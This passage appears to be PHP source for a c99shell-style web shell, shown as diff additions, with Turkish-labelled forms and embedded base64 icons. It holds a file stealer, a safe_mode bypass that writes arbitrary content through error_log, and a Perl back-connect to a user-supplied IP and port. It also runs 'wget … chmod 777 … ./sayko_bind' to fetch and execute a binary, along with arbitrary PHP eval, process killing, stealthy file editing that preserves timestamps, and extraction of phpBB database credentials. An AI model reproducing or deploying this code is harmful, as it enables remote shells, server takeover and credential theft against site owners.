href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>File Stealer Function Ripped fRom Tontonq 's File Stealer ... </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><b>Safe_Mode Bypass</b> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + <textarea name="erorr" cols=100 rows=10></textarea></br> + <input type="text" name="nere" value="<?echo "$real\index.php";?> "size=84> + <input type="submit" value="Write 2 File !!"> + + </form> + + + + + + + + + + + + </div> + + </td> + <td width="50%" height="83" valign="top"><center> + <center> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + Dosyanin Adresi ? = <input type="text" name="dosyaa" size="81" maxlength=500 value=""><br><br> +Nereya Kaydolcak? = <input type="text" name="yeniyer" size=81 maxlength=191 value="<?php echo "$real/sploitz.zip"; ?>"><br><br> +<input type=submit class='stealthSubmit' Value='Dosyayi Chek'> +</form> +<br><br><br> + + + + + </center> + + </center> + </td> +</tr></TABLE> + + + + + + + + + + + + +<?php + +if (isset($_POST['dosyaa'])) +{ +dosyayicek($_POST['dosyaa'],$_POST['yeniyer']); + +} +if (!empty($_GET['ipi']) && !empty($_GET['pipi'])) +{ +cf("/tmp/back",$back_connect); +$p2=which("perl"); +$blah = ex($p2." /tmp/back ".$_GET['ipi']." ".$_GET['pipi']." &"); +echo"<b>Now script try connect to ".$_GET['ipi']." port ".$_GET['pipi']." ...</b>"; +} +if (!empty($_GET['dolma'])) +{ +$sayko=htmlspecialchars($_GET['dolma']); +if ($sayko == "wgetcan") +{ + +myshellexec("wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + + +} + +else if ($sayko =="freadcan") +{ +dosyayicek($adires,"sayko_bind"); +myshellexec("./sayko_bind"); +} + +else if ($sayko == "lynxcan") +{ +myshellexec("lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + +} + + + + + +} + +if (!empty($_POST['erorr'])) +{ + + + +error_log($_POST['erorr'], 3, "php://".$_POST['nere']); + + + +} + + + + + + + + + +} +if ($act == "processes") +{ +echo "<b>Processes:</b><br>"; +if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} +else {$handler = "tasklist";} +$ret = myshellexec($handler); +if (!$ret) {echo "Can't execute \"".$handler."\"!";} +else +{ + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ +echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; +} +} +if ($act == "eval") +{ +if (!empty($eval)) +{ + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); +} +else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} +echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ +if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") +{ + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} +} +else +{ + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} +} +} +} +else +{ +@ob_clean(); +$images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". 